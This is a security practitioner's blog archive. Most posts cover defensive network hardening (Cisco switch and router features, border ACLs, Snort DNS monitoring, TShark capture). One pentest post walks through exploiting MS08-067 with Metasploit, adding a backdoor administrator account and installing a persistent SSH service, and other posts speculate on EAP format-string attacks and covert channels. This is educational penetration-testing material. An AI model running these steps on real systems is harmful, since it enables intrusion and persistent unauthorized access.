Network Infrastructure Defense Really Matters!

2010-05-05T08:41:00.000-07:00

In today’s world of focused client side device attacks, many security analysts and network security engineers have lost sight of defense configurations that can really make a sizable impact in slowing down network intrusion activity. This article is about network infrastructure precautions that, when sensibly deployed, can assist greatly in defense posture. I will focus both on general recommendations and specific Cisco features in the enterprise LAN space.

Network Access / Layer 2 Defenses

1. DHCP Protocol Snooping

The DHCP snooping feature is very effective at preventing rogue DHCP servers from operating on a network. A rogue DHCP server is most dangerous for its ability to deliver alternative Domain Name Server (DNS) addresses. The alternate DNS servers will of course deliver whatever custom DNS responses needed to intercept important traffic, re-direct traffic to fake websites etc. Typically, rogue DHCP server responses will always beat the response time of a central DHCP server due to its layer 2 network adjacency.

Most networks will have centrally deployed DHCP server(s) for IP address delivery. The DHCP snooping feature ensures that DHCP responses can only be transmitted from “trusted” network interfaces, usually interfaces which are uplinks to the core network infrastructure. This technology can be deployed on a per-Virtual LAN (VLAN) basis assuming the feature is present on the specific switch model in hand. (Cisco 3560/3750 switches make this feature available)

If a “non-trusted” switch port receives a DHCP RESPONSE, or DHCP ACK packet, it can be configured to shutdown.

A side effect of deploying this feature is that a tracking table is built within the switch containing details such as the client IP address and MAC/Ethernet address information.

2. Dynamic Address Resolution Protocol (ARP) Inspection (DAI)

DAI leverages the DHCP snooping table to ensure that IP address to MAC address mapping is consistent. It also has a denial of service (DoS) prevention feature to limit the rate of ARP packets on a network segment. DAI is very effective against broadcast gratuitous ARP traffic, typically used for traffic interception purposes by tools like “Ettercap”, and “Cain N’Able”.

3. IP Source Guard

Again, we leverage the DHCP snooping table and place a dynamic IP access list on ingress traffic to ensure that the source IP address for all packets on any one switch interface is indeed the system connected to this port.

4. Switchport Security

Essential to prevent the Content Addressable Memory (CAM) table from being flooded. All network switches track the bridging destination of a packet by it’s destination MAC address. The MAC addresses are placed into the CAM table which has a fixed / limited maximum size. On a typical Cisco switch, the CAM table defaults to 6,000 MAC address entries in the switches default mode. If the switch is optimized for desktop VLAN based switching, higher end switch models (such as the Catalyst 3750) can contain a maximum of 12,000 CAM entries.

When the CAM table on a switch is filled up, the switch will flood/transmit all Ethernet frames out of all switch ports. It is a relatively trivial matter to write code to generate packets to random Ethernet destinations and thus quickly fill a switch CAM table. The goal is to effectively turn the switch into a hub and enable traffic interception.

If a switch can be configured to limit the number of CAM entries permitted on any single port, the CAM flooding attack is defeated.

5. Broadcast Suppression (storm control)

End devices generate broadcasts that are typically associated with ARP traffic. On a gigabit enabled Ethernet port, a 1% broadcast suppression level still leaves open the potential for up to 10Mbps of broadcast traffic. On a Cisco device, we can suppress down to 1% of link speed using “storm-control broadcast level 1”. Multicast can also be suppressed independently from broadcast on some devices.

In environments where multicast is in production use, network engineers need to assess the level of multicast required to/from any one access port and then suppress at that level.

Broadcast suppression is critical in avoiding denial of service (DoS) conditions that can either be created by operational errors, or by a security incident / malware.

Routing / Layer 3 Defenses

Thinking in terms of “defense in depth”, layer 3 defenses act as a backup to the layer 2 defenses in place at the access layer of the network. Layer 3 defenses can be sub-divided into routing device protection (denial of service and infrastructure mapping protection), and network infrastructure protection. We will first consider the network infrastructure category.

1. Disable Proxy ARP (no ip proxy-arp)

Proxy ARP is a feature which allows the router to act as proxy for any host in its adjacent sub-network. When enabled, proxy ARP allows an end host, with an IP address that falls within the sub-network address range, to set its sub-network mask (and broadcast) to almost anything, and still be able to communicate on the network. An end host could even set the smallest mask possible, eliminate a router gateway setting, and still be able to surf the entire IPv4 address space.

The end host is allowed to logically appear on almost any network due to the router “proxying” address resolution of all things for that host. It can be used for denial of service attacks amongst other things.

2. Unicast Reverse Path Forwarding (uRPF) Sanity Check

The uRPF check ensures that the source IP address is reachable from the router interface that received the IP datagram. Cisco devices implement two forms of uRPF check; the strict form which looks at the specific interface the datagram is received on, versus the looser check which will match on any connected interface. The uRPF check is another critical measure which forms a “belt and suspenders” style backup to the IP Source Guard feature in order to defeat source IP address forgery/spoofing.

Two Cisco IOS statements can be used to enforce uRPF sanity checking as follows:

ip verify source reachable-via rx
ip verify source reachable-via any

3. Disable forwarding of IP Options (no ip options)

There are virtually no IPv4 datagrams on the network that require any IP options. The most dangerous IP options from a security perspective are:

Strict Source Route: dictate which router hops a datagram must traverse, and record them.

Loose Source Route: specify optional router hops a datagram can traverse and record them.

Record Route: simply record the router hops a datagram must traverse.

If record route IP options are permitted to be forwarded, they can be used for both reconnaissance and traffic interception purposes. In multicast rich environments, operators need to take note that the “Router Urgent” IP option is used within Internet Group Management Protocol (IGMP) transactions.

4. Disable generation of ICMP type 3, destination unreachable messages (no ip unreachables)

A router that generates ICMP type 3 (unreachable) messages becomes a source of network reconnaissance information. For example:

(a) Type 3, code 0 – “Network Unreachable” can be used to map the internal sub-netting of a network.

(b) Type 3, code 1 – “Host Unreachable” can be used to discover individual hosts within a sub-network.

(c) Type 3, code 13 – “Administratively prohibited” is generated in the context of router Access Control List (ACL) deny statements, and thus can be used to fully map an access control list.

5. Disable directed broadcast (no ip directed-broadcast)

A directed broadcast is generated when a datagram is address to a network address or to a network broadcast address. If we take the class C network of 192.168.99.0/24, and send a datagram to either the 192.168.99.0 or 192.168.99.255 address from outside of that sub-network, then the router interface will typically broadcast the datagram within the network segment/broadcast domain.

This represents security risk in terms of potential network amplification attacks. A common attack from past history was to generate an ICMP ECHO datagram with a spoofed source IP address to a network broadcast address, and subsequently have ALL hosts within that sub-network respond with ICMP ECHO REPLY datagrams. This attack was commonly referred to as a “Smurf” attack.

There are some protocols which depend on directed broadcast to function properly. Wake ON Lan (WOL) is one particular protocol which depends on being able to send UDP datagrams that contain MAC address payloads to a network broadcast address. If your environment requires WOL functionality, you can either filter directed broadcast by source address (for limited risk mitigation), or ensure that the WOL traffic is only generated within the network broadcast domain that will receive it.

In general, having the “no ip directed-broadcast” statement on all router interfaces is a best practice and has in fact become the Cisco IOS default. As stated above, you also have the option of “ip directed-broadcast ACLNAME” to exert more control. Note that you can make an ACL be very specific, down to layer 4 protocol and destination ports if you like however you are still risking DoS by allowing any directed broadcast.

6. Protect your router control-plane from DoS

In the commonly deployed Catalyst-6500 line of router/switches, there are various rate limiters available to assist in protecting the control plane of the router. There are also some useful limits built into the dynamic world of multicast routing. Here are a few items that can be researched further and deployed to any one site's taste:

ip pim register rate-limit
ip multicast route-limit

mls rate-limit
- can apply to unicast, multicast, bridged traffic, or all traffic
- can be applied in sub-systems such as ACL's, IP forwarding, and CEF

Note that in the hardware based router models such as the Cat-6500, some of these rate limiters also impact ICMP transmission behavior, and interact with the switch virtual interface or routed interface configurations (such as: ip unreachables, and ip redirects).

Internet Access Layer / Border Router Filtering Policy

1. Anti-spoofing and Layer 4 Protocol Filtering

Anti-spoofing is a simple concept that needs to be a standard security practice. No datagram with a source address of your site’s IP address allocation should originate from outside of your network. Additionally, you should never send a datagram with your internal allocated network outside of your network.

Anti-spoofing controls can additionally be combined with Layer 4 protocol filtering to ensure that only the desired layer 4 protocols flow into/out of any network.

Lets imagine that your public address allocation is 240.55.0.0/16. Yes, I know this is considered to be IANA Class E reserved right now, but lets use it for our example. Lets also imagine that you want to perform anti-spoof filtering, and pass IPSEC related protocols, GRE, as well as ICMP, TCP, and UDP across your border routers.

In this example, Cisco IOS based ACL’s can be created as follows, and naturally on your border interface you would have “no ip unreachables” to prevent ACL mapping:

ip access-list extended Border-Inbound

  10 permit gre any 240.55.0.0 0.0.255.255

  20 permit ahp any 240.55.0.0 0.0.255.255

  30 permit esp any 240.55.0.0 0.0.255.255

  40 permit icmp any 240.55.0.0 0.0.255.255

  50 permit tcp any 240.55.0.0 0.0.255.255

  60 permit udp any 240.55.0.0 0.0.255.255

  99 deny ip any any log-input

ip access-list extended Border-Outbound

  10 permit gre 240.55.0.0 0.0.255.255 any

  20 permit ahp 240.55.0.0 0.0.255.255 any

  30 permit esp 240.55.0.0 0.0.255.255 any

  40 permit icmp 240.55.0.0 0.0.255.255 any

  50 permit tcp 240.55.0.0 0.0.255.255 any

  60 permit udp 240.55.0.0 0.0.255.255 any

  99 deny ip any any log-input

In all likelihood, your site may well have more strict ICMP policies than allowing all ICMP to pass through the border router interface(s). A policy which allows ICMP type 11 (time exceeded), for “traceroute” purposes, might be appropriate. Or even a policy that completely denies ICMP at the network border in some cases. It is common knowledge in the security community that ICMP has been used to tunnel other protocols, or as a control channel mechanism. ICMP Echo Request/Reply are often targeted for tunneling or command/control channel activities.

2. Bogon address filtering

Although IPv4 address resources are dwindling, there are still IP address blocks which are unallocated or reserved by the Internet Assigned Numbers Authority (IANA).

http://www.iana.org/assignments/ipv4-address-space/

Network security engineers should always filter/drop any datagram that arrives at their network edge with a reserved or unallocated source address. Within the interior of a network, any datagram that is destined for a reserved or unallocated address could either be null routed, or perhaps directed to a security device for analysis and/or detention. This is where we enter the realm of Tom Liston’s LaBrea Tarpit or perhaps a honeynet.org project.

Note that IP address allocations continue to happen and thus any security enforcement implementation that deals with unallocated address filtering / forwarding, needs to be updated on a regular basis.

Team Cymru continues to main a bogon address space reference with various filtering techniques:

http://www.team-cymru.org/Services/Bogons/

3. Strategic Null Routing

Create a static route for your shortest network prefix.   If we take the same 240.55.0.0/16 network example above, then create a static route to null0 for this prefix within your routing infrastructure as follows:

ip route 240.55.0.0 255.255.0.0 null0

All of your connected sub-networks will have longer prefixes that the /16 null route example above, and thus traffic for all advertised routes within your network will get to destinations just fine. Any sub-network that you do not have allocated (dark space) will get dropped into the sink.   You might also need a route like this to advertise to your upstream BGP provider anyway.

You might want to null route some other address prefixes you don't want running around your public facing network, such as RFC-1918 space for example.

4. Basic BGP Security Tips

I don't claim to be an expert in BGP however some basic security principles can be applied as follows:

(a) Include an ACL on your border interfaces to allow TCP port 179 traffic exclusively from your upstream BGP peering neighbor.
(b) Use an MD5 hash/password with your BGP peers.
(c) Use ip-prefix lists either directly or within route-maps to ensure that you are only advertising the prefixes you intend.   If you have created a static null route for your entire network allocation, you might want to only advertise this prefix to your upstream.
(d) Use ip-prefix lists to only accept the routes you desire from your upstream.   You can filter unallocated IP space (bogons) using this prefix list.   You might have reasons to accept only a subset of routes from a specific provider.
(e) Set a maximum Autonomous System (AS) Path limit to limit risks of accepting an unusually long AS Path.

Windows 7 - ICMP message type 12, code 0

2009-10-06T13:49:00.000-07:00

Send a tcp packet to any port with the IP "more fragments" bit set to a Windows 7 host. The packet can be sent with no application payload, and arbitrary tcp flags.

Windows 7 will send back an ICMP message type 12, code 0 reply indicating a "parameter problem".

Now repeat the experiment, only increase the payload to 92 bytes. Anything greater than 91 will not result in the ICMP return packet.

Hmmm....

17:24:10.268903 IP (tos 0x0, ttl 64, id 2468, offset 0, flags [+], proto: TCP (6), length: 40) 192.168.100.1.445 > 192.168.100.129.445: S, cksum 0x3984 (correct), 950565187:950565187(0) win 512

0x0000: 4500 0028 09a4 2000 4006 0759 c0a8 6401 E..(....@..Y..d.
0x0010: c0a8 6481 01bd 01bd 38a8 7943 2ede 4647 ..d.....8.yC..FG
0x0020: 5002 0200 3984 0000 P...9...

17:24:10.269784 IP (tos 0x0, ttl 128, id 20600, offset 0, flags [none], proto: ICMP (1), length: 68) 192.168.100.129 > 192.168.100.1: ICMP parameter problem - octet 0, length 48
IP (tos 0x0, ttl 64, id 2468, offset 0, flags [+], proto: TCP (6), length: 40) 192.168.100.1.445 > 192.168.100.129.445: S, cksum 0x3984 (correct), 950565187:950565187(0) win 512

0x0000: 4500 0044 5078 0000 8001 a06d c0a8 6481 E..DPx.....m..d.
0x0010: c0a8 6401 0c00 3dec 0000 0002 4500 0028 ..d...=.....E..(
0x0020: 09a4 2000 4006 0759 c0a8 6401 c0a8 6481 ....@..Y..d...d.
0x0030: 01bd 01bd 38a8 7943 2ede 4647 5002 0200 ....8.yC..FGP...
0x0040: 3984 0000 9...

802.1X and EAP

2009-06-11T05:53:00.000-07:00

EAP = Extensible Authentication Protocol which is a universal layer 2 based authentication protocol use on point-to-point, wired, and wireless networks. EAP is used by 802.1X for port based, network access authentication. There are many EAP types however the most commonly used are EAP-PEAP, and EAP-TTLS.

1) EAP-TLS is well supported and use by wireless vendors although a challenge to implement as it requires both a client-side and server-side certificate. General comment is that EAP-TLS is the best security option but also the most difficult to implement.

2) EAP-TTLS was co-developed by Funk and Certicom. It differs from EAP-TLS in that the server only needs to be authenticated to the client by certificate (signed by public or private CA). 802.1X supplicants need to properly verify the certificate otherwise potential for man in the middle interception exists (when used with wireless). Microsoft does not natively support EAP-TTLS.

3) EAP-PEAP is a joint effort of Cisco, Microsoft, and RSA and is widely in use. Similar to EAP-TTLS, MS-CHAPv2 login credentials are protected by TLS during the authentication process. Bottom line is that if you are dealing with the Microsoft 802.1X supplicant (which most of us probably would be), then PEAP is your friend.

There seems to be very little in the way of documentation on the net with regard to how 802.1X port authentication and EAP-PEAP actually function. It is an interesting protocol dance when you have Protected Extensible Authentication Protocol (PEAP) involving layer 2 traffic from the 802.1X supplicant, protected by TLS within the EAP over LAN (EAPOL) transactions, and also with the TLS data carried within the Radius attribute value pairs.

The server side certificate presented via Radius back to the client may be a public CA signed, or internal/privately signed certificate. In either case, it is critical that the 802.1X supplicant (client station) has a properly imported root certificate.

With regard to the EAPOL (EAP over LAN) transactions, a lot of documentation I have read fails to recognize that an EAP-Request/Identity frame is always initiated from the switch first with link up. I only mention this point as it came to light in recent EAPOL debugging/diagnostic work I was involved in.

And BTW, if you are ever looking at 802.1X/PEAP/Radius authentication traffic, a useful 'tcpdump' filter is as follows:

'ether proto 0x888e OR udp port 1812'

This assumes that Radius traffic is being carried on UDP port 1812 and that you are able to mirror/span the data from your AP/switch (authenticator) as well as your client/supplicant.

The EAP transactions occur at OSI layer 2 between the supplicant and the authenticator while the synchronized Radius transactions occur at OSI layer 3 between the AP/switch authenticator and the Radius server. The TLS certificate and data is carried both within the EAP traffic, and within the Radius attribute-value pairs between client/supplicant and Radius server.

Thus, your network management network better be functioning reliably!

So having written all that, I wonder if we can use the EAP-Response/Identify frame to send an extremely large string or perhaps even 'printf' based format string to exploit weaknesses in the authenticator or Radius code. At minimum, a potential denial of service could exist if not worse condition.

Covert Channel Possibilities!

2009-06-10T18:48:00.000-07:00

The IT network and security community often thinks of covert channels in terms of what has already been detected. A good example is Loki, and other ICMP variants. However, we should not forget that IP, TCP, UDP, and ICMP headers and payloads contain opportunities to hide data in storage channels.

Header and application payload fields that can potentially be used for covert storage channels include the IP Identification field (16-bits), the TCP Initial Sequence Number (32-bits), the DNS identification field (16-bits), the TCP timestamp option (32-bits x 2), a portion (or all) of the source IP address, a TCP or UDP source port (16-bits) just to name a few.

Some of these fields are deliberately (and highly) randomized during certain normal protocol transactions. Thus, if we combine storage of covert data with symmetric key encryption, and nicely crafted bogus payload, we can yield a highly effective and hard to detect channel.

When doing protocol and intrusion analysis, we should be careful to look at packet timing, and uni-directional versus bi-directional nature of protocol transactions. You never know when you might be witnessing a covert storage or timing channel at work, and you might never really discover the content.

Installing OpenSSH on Windows via command shell

2009-01-18T15:08:00.000-08:00

During a network penetration test, Windows command shell access is often obtained through some sort of exploit. If, for example, Metasploit is being used, command shell access can be delivered as the payload of a buffer overflow exploit. Or if perhaps the Meterpreter is being used, command shell access can be had by executing a CMD.EXE and interacting directly with it, or perhaps by having NETCAT shovel a command shell back to the penetration tester.

The challenge is that command shell access is not equivalent to full terminal access. The command shell may produce strange output due to control characters. Some commands may not function normally if they depend on the use of control sequences. If using NETCAT to shovel a shell, entering CTRL-C to terminate some command can end up terminating your shell!

If a penetration tester is permitted to modify the target server, then a more consistent, fully functional terminal level access will greatly help during the testing process. A number of choices exist including activating the telnet service, activating Microsoft terminal services (remote desktop protocol), installing VNC (www.realvnc.com), or installing OpenSSH for Windows. VNC is a great choice as it provides an easy command line installation with files residing in a single directory, and only a limited number of registry entries, however it offers no encryption. The telnet service offers no encryption either.

OpenSSH for windows (http://sshwindows.sourceforge.net/) is a minimized Cygwin (http://www.cygwin.com) environment that has been customized to support only SSH. It supports SSH command line terminal access, and secure copy / secure file transfer. Because the setup process in the OpenSSH packages uses the GUI, you have to perform some steps to customize your own command line only installation.

Preparing for a custom command line OpenSSH Installation in your lab

The basic steps to prepare a command line OpenSSH installation for Windows are as follows:

1. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download

2. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH

3. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure.

4. Export the following registry keys using the REG EXPORT command as follows:

REG EXPORT “HKLM\SOFTWARE\Cygnus Solutions” 1.REG
REG EXPORT “HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd” 2.REG
REG EXPORT “HKLM\SYSTEM\ControlSet001\Services\OpenSSHd” 3.REG

5. Concatenate all of these registry files together into one file.
TYPE 1.REG 2.REG 3.REG >OPENSSH.REG

6. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.

Performing an installation via command shell

Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.

Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.

Exploiting the Vulnerability

[root@localhost framework-3.2]# nc -v 192.168.1.40 445
Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded!
[root@localhost framework-3.2]# ./msfconsole

msf > search exploits ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...
Exploits
========
Name Description
---- -----------
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
msf > use windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
msf exploit(ms08_067_netapi) > set TARGET 5
TARGET => 5
msf exploit(ms08_067_netapi) > show options

... truncated output ...
Exploit target:

Id Name
-- ----
5 Windows 2003 SP0 Universal

msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.37:45633 -> 192.168.1.40:4444)

meterpreter > sysinfo
Computer: SYSTEM-HJ28HHGL7N
OS : Windows .NET Server (Build 3790, ).

Uploading your OpenSSH Files

meterpreter > lcd /mnt/PenTestTools/win32/OpenSSH
meterpreter > lpwd
/mnt/PenTestTools/win32/OpenSSH
meterpreter > cd \
meterpreter > cd "Program Files"
meterpreter > mkdir openssh
Creating directory: openssh
meterpreter > cd openssh
meterpreter > pwd
C:\Program Files\openssh
meterpreter > upload -r . .
[*] uploading : ./uninstall.exe -> .\uninstall.exe
[*] uploaded : ./uninstall.exe -> .\uninstall.exe
[*] mirroring : ./bin -> .\bin
[*] uploading : ./bin/chmod.exe -> .\bin\chmod.exe
[*] uploaded : ./bin/chmod.exe -> .\bin\chmod.exe
[*] uploading : ./bin/chown.exe -> .\bin\chown.exe
[*] uploaded : ./bin/chown.exe -> .\bin\chown.exe
[*] uploading : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
[*] uploaded : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
.... lots of output truncated ....

meterpreter > execute -f cmd.exe –i
Process 848 created.
Channel 66 created.

Modifying the Registry and Adding Your Own Username

Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes.

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\openssh>whoami
whoami
nt authority\system

C:\Program Files\openssh>reg import openssh.reg
reg import openssh.reg
The operation completed successfully.

C:\Program Files\openssh>net user inet_p0wned gameover /add
net user inet_p0wned gameover /add
The command completed successfully.

C:\Program Files\openssh>net localgroup administrators inet_p0wned /add
net localgroup administrators inet_p0wned /add
The command completed successfully.

C:\Program Files\openssh>cd etc
cd etc

C:\Program Files\openssh\etc>..\bin\mkpasswd -l >passwd
..\bin\mkpasswd -l >passwd
C:\Program Files\openssh\etc>..\bin\mkgroup -l >group
..\bin\mkgroup -l >group

C:\Program Files\openssh\etc>sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
[SC] CreateService SUCCESS

Start the OpenSSH Service

C:\Program Files\openssh\etc>sc start opensshd
sc start opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 1916
FLAGS :

C:\Program Files\openssh\etc>sc query opensshd
sc query opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

C:\Program Files\openssh\etc>netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24

The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**

**Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don’t leave a gaping opportunity while testing.

C:\Program Files\openssh\etc>exit
exit
meterpreter > quit

[*] Meterpreter session 1 closed.
msf exploit(ms08_067_netapi) > quit

Now, lets go ahead and SSH into our Windows server to check if things worked!

root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40
The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established.
RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts.

OpenSSH for Windows. Welcome aboard!

inet_p0wned@192.168.1.40's password:
Could not chdir to home directory /home/inet_p0wned: No such file or directory
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\OpenSSH>
C:\Program Files\OpenSSH>whoami
system-hj28hhgl7n\inet_p0wned

C:\Program Files\OpenSSH>exit
Connection to 192.168.1.40 closed.
[root@localhost framework-3.2]#

Cleaning up

To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it.

C:\> SC STOP opensshd
C:\> SC DELETE opensshd
C:\> REG DELETE “HKLM\SOFTWARE\Cygnus Solutions” /f /va
C:\> REG DELETE “HKLM\SYSTEM\ControlSet001\Services\OpenSSHd” /f /va
C:\> REG DELETE “HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd” /f /va

C:\> CD "\Program Files"
C:\Program Files> RMDIR /Q /S opensshd
C:\Program Files> NETSH FIREWALL DELETE PORT TCP 22
C:\Program Files> NET USER inet_p0wned /DELETE

Focused IDS Sensor for DNS

2008-11-02T14:59:00.000-08:00

Many enterprises have what is known as a split domain name system (DNS) configuration. Split DNS is where you serve your internal network with one (or perhaps a pair) of DNS servers, but forward all unresolved requests to another DNS server(s) that lives within your DMZ. Using split DNS provides some security protection for your internal DNS servers, and performance benefit in that the internal servers do not have to cache external network information.

Additional security protection can be provided by carefully controlling your network perimeter (anti-spoofing and bogon filtering for example), and carefully configuring your external DNS servers to only respond to DNS requests that are within your network domain.

In recent times, DNS cache poisoning has risen as a significant challenge yet again. It has been noted that DNS is fundamentally flawed due to it's weak reliance on a matching DNS identification and packet source information in query responses. Though widespread deployment of DNSSEC (secure) is the correct solution, it has not gained in popularity enough at this time.

Beyond ensuring that you have correct vendor patches, which are written to ensure significant entropy in the randomly chosen DNS identification field, and UDP source ports, there needs to be another method to indicate that your DNS cache may be poisoned.

The two methods I find effective are to use the CAIDA project's DNS statistics collector (DSC), and to also deploy a focused Intrusion Detection Sensor (IDS) with Snort running directly on my DNS servers.

First of all, I would recommend becoming a registered snort user at www.snort.org in order to stay within about one month's release of the up to date snort signatures. Then, assuming you are running a UNIX based system for your DNS server(s), download the latest snort source code which as of this writing is snort-2.8.3.1.tar.gz.

Compile and install snort.
After installation, you should have a /etc/snort directory which contains a basic snort configuration file and the base set of rules.
Download the latest registered user rule set from snort.org and extact it inside the /etc/snort directory.
Now, start editing the /etc/snort/snort.conf file with your favorite text editor. In some installations, this file might be located in /etc/snort/rules.

Key variables you must set in order to get snort functioning are as follows with examples:

HOME_NET = $eth0_ADDRESS
EXTERNAL_NET = !$HOME_NET
DNS_SERVERS = [172.16.1.1, 172.16.2.1]

Since this is a focused sensor, I would suggest that the home network (HOME_NET) be set to the address of the DNS server itself. The external network variable can simply be anything that is not the home network.

With regard to snort's preprocessors, you will need to keep frag3 and stream5 for both framentation and stream reassembly. Most importantly, the only remaining preprocessor you must have configured is the DNS preprocessor.

To keep the sensor memory usage low, I would disable (by commenting out) all other preprocessors, such as ftp_telnet, http, dcerpc etc. You are deploying a sensor focused on DNS so lets keep it optimized and looking at DNS traffic!

Next, go down to where the include statements reside, and comment out ALL of the includes listed except the one that reads: include $RULE_PATH/dns.rules

Now, test your configuration:

snort -p -c /etc/snort/snort.conf -A cmg -u_snort -g_snort -t/var/snort -l/var/snort/log

You should watch the output and make sure that there are no errors. Also, please note that the above command line uses the -p flag to disable promiscuous mode on your DNS server interface card. Again, let's remember that this is a focused sensor that is looking at the traffic going to/from this specific DNS system so your network card does NOT need to see other system traffic.

Also, to be as secure as possible, always run as a non-root user, hence the use of the -u_snort and -g_snort to change the effective running user and group id respectively.

Once you have checked that your configuration is operating as expected, then setup snort to run at boot time, and start the process as follows:

snort -pD -c/etc/snort/snort.conf -u_snort -g_snort -t/var/snort -l/var/snort/log

I would additionally suggest adding output alert_syslog into your configuration. If things are setup properly, the false positive (noise) level should be very low, so I personally syslog ALL alerts to the console of the UNIX system itself as well as the root user to make sure that if any IDS alerts show up, I will see them.

Following all these steps now gives you the equivalent of the canary in the coal mine. Your snort sensor is optimally configured to start sqawking if there are events such as a large number of DNS NXDOMAIN replies indicating potential cache posioning.

The additional bonus is that you will quickly find applications on your network that are misbehaving and incorrectly beating on your DNS infrastructure when they should not be!

Happy hunting.

TShark - High performance packet capture

2008-10-25T06:48:00.001-07:00

Wireshark users may not realize that there is a command line version of Wireshark, namely TShark, which provides superior packet capture performance. The challenge with Wireshark is that it has to update all of the window elements while at the same time capturing data, and it's defaults do not favor performance.

When you are in a situation of very high traffic flow (like a DoS attack perhaps), you really need to capture as much of the data as possible to a file for later "post analysis". I always use a combination of setting up the TShark capture with Berkeley Packet Filter (BPF), and then plugging the RJ-45 Ethernet cable in after the capture is set to run.

To run TShark within MS-Windows, you need to start a command window first.

Start -> Run -> CMD.EXE

Find the directory that TShark is installed within. For a default Wireshark installation, it is probably as follows:

CD \Program Files\Wireshark

Then, find out the HELP syntax from TShark:

tshark -h

The first thing you must do is find out which network interface number you must use for the data capture.

tshark -D shows all of the interfaces with an integer number in front of them. Windows understands all network interfaces by the long hexadecimal object identifier but you really don't want to have to remember that!

example output:

1. \Device\NPF_{11A468B6-C065-45F6-AB32-D69695A6F601} (MS Tunnel Interface Driver)
2. \Device\NPF_{A16900A3-020C-4B05-B430-4CD67527C189} (Realtek RTL8168B/8111B PCI-E Gigabit Ethernet NIC)

Now, select the right interface, capture some data and write it directly to a file. For example:

tshark-i 2 -s 200 -w example.pcap -f "tcp[13] = 0x14"

The particular example shown above captures data with the 13th offset of the TCP header equal to hexadecimal of 0x14. This happens to be packets that have the TCP flags of RST and ACK set. The -i flag is used to select the capture interface.

TShark will count the packets captured, and then you simply use the CTRL-C keyboard sequence to stop the capture when finished. After that, open your example.pcap file within Wireshark for full analysis. The (.pcap) file extension ensures you could simply double click the file itself.

With regard to the -s (snap length) flag, be aware that TShark will default to a packet capture length of 65,535 bytes, which given a standard 1514 MTU Ethernet frame size, will always capture the entire packet. Using a snaplen of 68 bytes makes the behavior of TShark identical to tcpdump default behavior.

Early versions of TShark did not allow a snaplen that is less than 68 bytes, however I believe there is a source patch that has fixed this now for those who like capturing headers only! Some quick calculations:

Ethernet header = 14 bytes
IPv4 header (without options) = 20 bytes
TCP header (without options) = 20 bytes
Typical TCP header options for Windows Vista = 12 bytes
UDP header = 8 bytes

If we examine a TCP SYN packet of a modern operating system, there are almost always TCP options attached. Windows Vista by default will use Max Segment Size (0x02), Window Scaling (0x03), and Selective Acknowledgement (0x04), as well as three No Operation (NOP = 0x01) options, giving a total of 12 bytes on a TCP SYN packet. The NOP option is used to pad the options data to even byte boundaries so that 32-bit processor code is happy!

To capture a Windows Vista TCP SYN packet header under IPv4 with all options, we would need a minimal snap length as follows:

14 (Ethernet header) + 20 (IP header) + 20 (TCP header) + 12 (TCP options) = 66 bytes.

If you want to throw in some payload data, then add more to the snap length from there. I find that a snap length of about 200 gives good performance and captures a reasonable amount of data.

